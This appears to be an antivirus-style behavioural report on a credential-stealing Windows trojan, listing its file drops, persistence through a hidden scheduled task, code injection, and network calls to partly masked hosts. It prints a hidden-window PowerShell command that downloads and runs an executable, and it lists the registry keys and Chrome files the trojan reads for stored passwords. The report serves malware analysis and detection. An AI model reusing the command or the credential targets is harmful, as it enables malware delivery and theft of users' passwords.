Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\updates\dqronax
Malicious functions
Downloads and executes
- http://pe##baum.jp/wp/6xybknnojt8cz25.exe as %appdata%\6xybknnojt8cz25.exe
Injects code into
the following user processes:
- 6xybknnojt8cz25.exe
Searches for registry branches where third party applications store passwords
- [<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook]
- [<HKCU>\Software\Martin Prikryl\WinSCP 2\Sessions\]
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\google\chrome\user data\default\web data
Modifies file system
Creates the following files
- %TEMP%\abctfhghghghghВЈ.sct
- %TEMP%\add069a7\ucrtbase.dll
- %TEMP%\add069a7\softokn3.dll
- %TEMP%\add069a7\nssdbm3.dll
- %TEMP%\add069a7\nss3.dll
- %TEMP%\add069a7\msvcp140.dll
- %TEMP%\add069a7\mozglue.dll
- %TEMP%\add069a7\vcruntime140.dll
- %TEMP%\add069a7\freebl3.dll
- %TEMP%\add069a7\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-private-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\111242193989415702684.tmp-shm
- %TEMP%\11125629752642895231232.tmp
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %TEMP%\11125466062959412736202.tmp
- %TEMP%\11125319925656160087637.tmp
- %TEMP%\11125156496513768213041.tmp
- %TEMP%\11125153026821883455935.tmp
- %TEMP%\1112500464960087044976.tmp
- %TEMP%\11124843099256430004071.tmp
- %TEMP%\add069a7\api-ms-win-crt-multibyte-l1-1-0.dll
- %TEMP%\11124841921779823667225.tmp
- %TEMP%\111242193989415702684.tmp
- %TEMP%\11123285545683585147173.tmp
- %TEMP%\1112312312746267549049.tmp
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %TEMP%\111062588584222565972.tmp
- %TEMP%\11106569168431879931021.tmp
- %TEMP%\add069a7\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\add069a7\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\add069a7\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\tmpd7f3.tmp
- %APPDATA%\dqronax.exe
- %APPDATA%\6xybknnojt8cz25.exe
- %TEMP%\add069a7\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\add069a7\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\add069a7\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\11125629752642895231232.tmp-shm
Sets the 'hidden' attribute to the following files
- %APPDATA%\dqronax.exe
Deletes the following files
- %TEMP%\tmpd7f3.tmp
- %TEMP%\add069a7\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\add069a7\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\add069a7\freebl3.dll
- %TEMP%\add069a7\mozglue.dll
- %TEMP%\add069a7\msvcp140.dll
- %TEMP%\add069a7\nss3.dll
- %TEMP%\add069a7\nssdbm3.dll
- %TEMP%\add069a7\softokn3.dll
- %TEMP%\add069a7\api-ms-win-crt-multibyte-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-crt-private-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\add069a7\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\11106569168431879931021.tmp
- %TEMP%\1112312312746267549049.tmp
- %TEMP%\11123285545683585147173.tmp
- %TEMP%\111242193989415702684.tmp-shm
- %TEMP%\111242193989415702684.tmp
- %TEMP%\11124841921779823667225.tmp
- %TEMP%\11124843099256430004071.tmp
- %TEMP%\1112500464960087044976.tmp
- %TEMP%\11125153026821883455935.tmp
- %TEMP%\11125156496513768213041.tmp
- %TEMP%\11125319925656160087637.tmp
- %TEMP%\11125466062959412736202.tmp
- %TEMP%\11125629752642895231232.tmp-shm
- %TEMP%\111062588584222565972.tmp
- %TEMP%\11125629752642895231232.tmp
- %TEMP%\add069a7\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\add069a7\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\add069a7\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\add069a7\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\add069a7\ucrtbase.dll
- %TEMP%\add069a7\vcruntime140.dll
Network activity
TCP
HTTP GET requests
- http://pe##baum.jp/wp/6xYBKnNOJT8cZ25.exe
HTTP POST requests
- http://84.##.134.120/PL342/index.php
UDP
- DNS ASK pe##baum.jp
Miscellaneous
Creates and executes the following
- '%APPDATA%\6xybknnojt8cz25.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://pe##baum.jp/wp/6xYBKnNOJT8cZ25.exe','%APPDATA%\6xYBKnNOJT8cZ25.exe');S...' (with hidden window)
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\dQronAx" /XML "%TEMP%\tmpD7F3.tmp"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\dQronAx" /XML "%TEMP%\tmpD7F3.tmp"
